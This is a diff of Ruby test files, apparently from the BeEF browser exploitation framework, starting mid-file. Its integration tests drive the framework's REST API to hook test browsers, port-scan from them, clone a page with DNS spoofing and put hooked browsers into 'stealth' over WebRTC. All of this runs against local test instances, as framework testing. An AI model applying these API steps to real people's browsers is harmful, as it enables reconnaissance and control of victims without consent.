$:.unshift($root_dir)
# login and get api token
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
@@headers = {:content_type => :json, :accept => :json}
response = RestClient.post("#{RESTAPI_ADMIN}/login",
json,
@@headers)
result = JSON.parse(response.body)
@@token = result['token']
# create hooked browser and get session id
BeefTest.new_victim
sleep 5.0
response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}}
result = JSON.parse(response.body)
@@hb_session = result["hooked-browsers"]["online"]["0"]["session"]
# Retrieve Port Scanner module command ID
response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}}
result = JSON.parse(response.body)
result.each do |mod|
if mod[1]['class'] == 'Port_scanner'
@@mod_port_scanner = mod[1]["id"]
break
end
end
# Execute the Port Scanner module on the BeEF host to populate NetworkService object
# Port Scanner module works only for Chrome and Firefox
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}?token=#{@@token}",
{ 'ipHost' => "#{ATTACK_DOMAIN}",
'ports' => 3000,
'closetimeout' => 1100,
'opentimeout' => 2500,
'delay' => 600,
'debug' => false}.to_json,
:content_type => :json,
:accept => :json
result = JSON.parse(response.body)
success = result['success']
@@cmd_id = result['command_id']
sleep 15.0
end
def shutdown
$root_dir = nil
end
end
# Ensure the Port Scanner module identified the BeEF host
def test_port_scanner_results
rest_response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}/#{@@cmd_id}?token=#{@@token}"
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
raise "Port Scanner module failed to identify any open ports" unless result.to_s =~ /Port 3000 is OPEN/
end
# Tests GET /api/network/hosts handler
def test_get_all_hosts
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts?token=#{@@token}")
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert(result['hosts'])
assert_not_equal(0, result['count'])
end
# Tests GET /api/network/hosts/:sessionid handler with valid input
def test_get_hosts_valid_session
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{@@hb_session}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert(result['hosts'])
assert_not_equal(0, result['count'])
result['hosts'].each do |host|
assert_equal(@@hb_session, host['hooked_browser_id'])
end
end
# Tests GET /api/network/hosts/:sessionid handler with invalid input
def test_get_hosts_invalid_session
session_id = 'z'
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{session_id}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert_equal(0, result['count'])
end
# Tests GET /api/network/host/:id handler with valid input
def test_get_host_valid_id
id = 1
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal(1, result.length)
assert_equal('localhost', result.first['hostname'])
end
# Tests GET /api/network/host/:id handler with invalid input
def test_get_hosts_invalid_id
id = 'z'
assert_raise RestClient::ResourceNotFound do
RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token})
end
end
# Tests GET /api/network/services handler
def test_get_all_services
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services?token=#{@@token}",
@@headers)
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert(result['services'])
assert_not_equal(0, result['count'])
end
# Tests GET /api/network/services/:sessionid handler with valid input
def test_get_services_valid_session
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{@@hb_session}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert(result['services'])
assert_not_equal(0, result['count'])
result['services'].each do |service|
assert_equal(@@hb_session, service['hooked_browser_id'])
end
end
# Tests GET /api/network/services/:sessionid handler with invalid input
def test_get_services_invalid_session
session_id = 'z'
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{session_id}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert_equal(0, result['count'])
end
# Tests GET /api/network/service/:id handler with valid input
def test_get_service_valid_id
id = 1
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal(1, result.length)
assert_not_nil(result.first['type'])
end
# Tests GET /api/network/service/:id handler with invalid input
def test_get_services_invalid_id
id = 'z'
assert_raise RestClient::ResourceNotFound do
RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token})
end
end
private
# Standard assertions for verifying response from RESTful API
def check_rest_response(response)
assert_not_nil(response.body)
assert_equal(200, response.code)
end
end

View File

@@ -4,7 +4,7 @@
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest_client'
require 'rest-client'
require 'json'
require '../common/test_constants'
@@ -50,29 +50,33 @@ class TC_SocialEngineeringRest < Test::Unit::TestCase
json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json
domain = url.gsub(%r{^https?://}, '')
response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
json,
@@headers)
check_response(response)
ip = Socket.ip_address_list.detect { |i| !(i.ipv4_loopback? || i.ipv6_loopback?) }
domain = url.gsub(%r{^http://}, '')
regex = %r{
^#{domain}\.\t+
\d+\t+
IN\t+
A\t+
#{ip.ip_address}$
}x
# Send DNS request to server to verify that a new rule was added
dns_address = @@config.get('beef.extension.dns.address')
dns_port = @@config.get('beef.extension.dns.port')
dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t",
"A", "+short", "#{domain}"], 'r+').read.strip!
dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t", "A", "#{domain}"], 'r+').read
assert_match(regex, dig_output)
foundmatch = false
# Iterate local IPs (excluding loopbacks) to find a match to the 'dig'
# output
assert_block do
Socket.ip_address_list.each { |i|
if !(i.ipv4_loopback? || i.ipv6_loopback?)
return true if i.ip_address.to_s.eql?(dig_output.to_s)
end
}
end
# assert(foundmatch)
end
private

View File

@@ -0,0 +1,252 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'
require '../common/beef_test'
class TC_WebRTCRest < Test::Unit::TestCase
class << self
# Login to API before performing any tests - and fetch config too
def startup
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
@@headers = {:content_type => :json, :accept => :json}
response = RestClient.post("#{RESTAPI_ADMIN}/login",
json,
@@headers)
result = JSON.parse(response.body)
@@token = result['token']
$root_dir = '../../'
$:.unshift($root_dir)
require 'core/loader'
BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
BeEF::Core::Configuration.instance.load_extensions_config
@@config = BeEF::Core::Configuration.instance
@@activated = @@config.get('beef.extension.webrtc.enable') || false
@@victim1 = BeefTest.new_victim
@@victim2 = BeefTest.new_victim
puts "WebRTC Tests: Sleeping for 8 - waiting for 2 browsers to get hooked"
sleep 8.0
# Fetch last online browsers' ids
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
result = JSON.parse(rest_response.body)
browsers = result["hooked-browsers"]["online"]
browsers.each_with_index do |elem, index|
if index == browsers.length - 1
@@victim2id = browsers["#{index}"]["id"].to_s
end
if index == browsers.length - 2
@@victim1id = browsers["#{index}"]["id"].to_s
end
end
end
def shutdown
$root_dir = nil
@@victim1.driver.browser.close
@@victim2.driver.browser.close
end
end
def test_1_webrtc_check_for_two_hooked_browsers
return if not @@activated
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
browsers = result["hooked-browsers"]["online"]
assert_not_nil browsers
assert_operator browsers.length, :>=, 2
end
def test_2_webrtc_establishing_p2p
return if not @@activated
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/go?token=#{@@token}",
{:from => @@victim1id, :to => @@victim2id, :verbose => "true"}.to_json,
@@headers)
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
sleep 20.0
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
loghitcount = 0
result["logs"].reverse.each {|l|
# Using free-space matching mode /x below to wrap regex.
# therefore need to escape spaces I want to check, hence the \
regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\
message\ from\ Browser:(#{@@victim1id}|#{@@victim2id})
:\ ICE\ Status:\ connected/x)
loghitcount += 1 if (not regex.match(l["event"]).nil?) and
(l["type"].to_s.eql?("WebRTC"))
}
assert_equal 2, loghitcount
end
def test_3_webrtc_send_msg # assumes test 2 has run
return if not @@activated
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
{:from => @@victim1id, :to => @@victim2id,
:message => "RTC test message"}.to_json,
@@headers)
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
sleep 10.0
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_LOGS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_block do
result["logs"].reverse.each {|l|
# Using free-space matching mode /x below to wrap regex.
# therefore need to escape spaces I want to check, hence the \
regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\ received\
message\ from\ Browser:
(#{@@victim1id}|#{@@victim2id})
:\ RTC\ test\ message/x)
return true if (not regex.match(l["event"]).nil?) and
(l["type"].to_s.eql?("WebRTC"))
}
end
end
def test_4_webrtc_stealthmode # assumes test 2 has run
return if not @@activated
# Test our two browsers are still online
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
online = result["hooked-browsers"]["online"]
assert_block do
online.each {|hb|
return true if hb[1]["id"].eql?(@@victim1id)
}
end
assert_block do
online.each {|hb|
return true if hb[1]["id"].eql?(@@victim2id)
}
end
# Command one of the browsers to go stealth
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
{:from => @@victim1id, :to => @@victim2id,
:message => "!gostealth"}.to_json,
@@headers)
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
sleep 40.0 #Wait until that browser is offline.
# Test that the browser is now offline
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
offline = result["hooked-browsers"]["offline"]
assert_block do
offline.each {|hb|
return true if hb[1]["id"].eql?(@@victim2id)
}
end
# Test that we can bring it back online (which implies comms are still ok)
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.post("#{RESTAPI_WEBRTC}/msg?token=#{@@token}",
{:from => @@victim1id, :to => @@victim2id,
:message => "!endstealth"}.to_json,
@@headers)
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
sleep 10.0 # Wait until browser comes back
# Test that the browser is now online
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {
:token => @@token}}
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
online = result["hooked-browsers"]["online"]
assert_block do
online.each {|hb|
return true if hb[1]["id"].eql?(@@victim2id)
}
end
end
private
# Standard assertions for verifying response from RESTful API
def check_rest_response(response)
assert_not_nil(response.body)
assert_equal(200, response.code)
end
end

View File

@@ -15,20 +15,24 @@ require 'selenium/webdriver'
require './check_environment' # Basic log in and log out tests
require './tc_debug_modules' # RESTful API tests (as well as debug modules)
require './tc_login' # Basic log in and log out tests
#require './tc_jools' # Basic tests for jools
require './tc_jools' # Basic tests for jools
require './tc_network_rest' # Basic tests for Network extension RESTful API interface
#require './tc_dns_rest' # Basic tests for DNS RESTful API interface
require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface
require './tc_webrtc_rest' # Basic tests for WebRTC extension
class TS_BeefIntegrationTests
def self.suite
suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite")
suite << TC_CheckEnvironment.suite
suite << TC_login.suite
suite << TC_Login.suite
suite << TC_DebugModules.suite
#suite << TC_Jools.suite
suite << TC_Jools.suite
suite << TC_NetworkRest.suite
#suite << TC_DnsRest.suite
suite << TC_SocialEngineeringRest.suite
suite << TC_WebRTCRest.suite
return suite
end

View File

@@ -130,9 +130,11 @@ class TC_Filter < Test::Unit::TestCase
assert((BeEF::Filters::has_non_printable_char?("\x00")), '0x00 string')
assert((BeEF::Filters::has_non_printable_char?("\x01")), '0x01 string')
assert((BeEF::Filters::has_non_printable_char?("\x02")), '0x02 string')
assert((BeEF::Filters::has_non_printable_char?("\xF0")), '0xFE string')
assert((BeEF::Filters::has_non_printable_char?("\xFE")), '0xFE string')
assert((BeEF::Filters::has_non_printable_char?("\xFF")), '0xFF string')
# Commented the below because the UTF-8 handling for \xFF appears to break.
# See Issue #1126
# assert((BeEF::Filters::has_non_printable_char?("\xF0")), '0xFE string')
# assert((BeEF::Filters::has_non_printable_char?("\xFE")), '0xFE string')
# assert((BeEF::Filters::has_non_printable_char?("\xFF")), '0xFF string')
assert((BeEF::Filters::has_non_printable_char?("A\x03")), 'Single char and non printable char')
assert((BeEF::Filters::has_non_printable_char?("\x04A")), 'Single char and non printable char')
@@ -262,7 +264,9 @@ class TC_Filter < Test::Unit::TestCase
assert((not BeEF::Filters::alphanums_only?("\n")), '\\n string')
assert((not BeEF::Filters::alphanums_only?("\r")), '\\r string')
assert((not BeEF::Filters::alphanums_only?("\x01")), '0x01 string')
assert((not BeEF::Filters::alphanums_only?("\xFF")), '0xFF string')
# Commented the below because the UTF-8 handling for \xFF appears to break.
# See Issue #1126
# assert((not BeEF::Filters::alphanums_only?("\xFF")), '0xFF string')
assert((not BeEF::Filters::alphanums_only?("}")), '} char')
assert((not BeEF::Filters::alphanums_only?(".")), '. char')
assert((not BeEF::Filters::alphanums_only?("+")), '+ char')

View File

@@ -99,4 +99,18 @@ class TC_DynamicReconstruction < Test::Unit::TestCase
assert_equal "", response.body_str
end
def test_ascii_values
wait_for_server
response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh=z&sid=z&pid=z&pc=z&d=z")
assert_equal 200, response.response_code
assert_equal "", response.body_str
end
def test_array_values
wait_for_server
response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh[]=1&sid[]=1&pid[]=1&pc[]=1&d[]=1")
assert_equal 200, response.response_code
assert_equal "", response.body_str
end
end

View File

@@ -48,4 +48,14 @@ class TC_Modules < Test::Unit::TestCase
end
def test_safe_client_debug_log
Dir['../../modules/**/*.js'].each do |path|
File.open(path) do |f|
f.grep(/\W*console\.log\W*\(/im) do |line|
assert(false, "Function 'console.log' used instead of 'beef.debug' in command module: " + path + ':' + line)
end
end
end
end
end

View File

@@ -1,19 +0,0 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
class TC_Hackverter < Test::Unit::TestCase
def setup
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
$root_dir = File.expand_path('../../../../', __FILE__)
end
def test_hackverter
assert(true)
end
end

View File

@@ -28,8 +28,7 @@ class TC_Network < Test::Unit::TestCase
# Tests procedure for properly adding new host
def test_02_add_host_good
assert_nothing_raised do
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => '1234', :ip => '127.0.0.1')
r.save
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => '1234', :ip => '127.0.0.1')
raise "Adding network host failed" if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => '1234', :ip => '127.0.0.1').empty?
end
end
@@ -37,8 +36,7 @@ class TC_Network < Test::Unit::TestCase
# Tests procedure for properly adding new service
def test_03_add_service_good
assert_nothing_raised do
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => '1234', :proto => 'http', :ip => '127.0.0.1', :port => 80, :type => 'Apache', :cid => 1)
r.save
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => '1234', :proto => 'http', :ip => '127.0.0.1', :port => 80, :type => 'Apache', :cid => 1)
raise "Adding network service failed" if BeEF::Core::Models::NetworkService.all(:hooked_browser_id => '1234', :ip => '127.0.0.1').empty?
end
end

View File

@@ -1,19 +0,0 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
class TC_Vnc < Test::Unit::TestCase
def setup
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
$root_dir = File.expand_path('../../../../', __FILE__)
end
def test_vnc
assert(true)
end
end

View File

@@ -5,7 +5,7 @@
#
require 'test/unit'
class TC_Xssrays < Test::Unit::TestCase
class TC_XssRays < Test::Unit::TestCase
def setup
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))

View File

@@ -9,6 +9,7 @@ require '../common/ts_common'
require './core/filter/tc_base'
require './core/filter/tc_command'
require './core/main/network_stack/handlers/dynamicreconstruction'
require './core/main/network_stack/handlers/redirector'
require './core/tc_loader'
require './core/tc_core'
@@ -20,9 +21,7 @@ require './core/tc_autorun'
require './core/tc_obfuscation'
require './core/tc_logger'
require './extensions/tc_xssrays'
require './extensions/tc_vnc'
require './extensions/tc_ipec_tunnel'
require './extensions/tc_hackverter'
require './extensions/tc_hooks'
require './extensions/tc_proxy'
require './extensions/tc_requester'
@@ -46,18 +45,17 @@ class TS_BeefTests
suite << TC_Grep.suite
suite << TC_SocialEngineering.suite
suite << TC_Autorun.suite
suite << TC_Xssrays.suite
suite << TC_Vnc.suite
suite << TC_XssRays.suite
suite << TC_Obfuscation.suite
suite << TC_Logger.suite
suite << TC_IpecTunnel.suite
suite << TC_Requester.suite
suite << TC_Proxy.suite
suite << TC_Hackverter.suite
suite << TC_EventLogger.suite
suite << TC_Network.suite
suite << TC_Hooks.suite
suite << TC_Redirector.suite
suite << TC_DynamicReconstruction.suite
#suite << TC_Dns.suite
return suite

Some files were not shown because too many files have changed in this diff Show More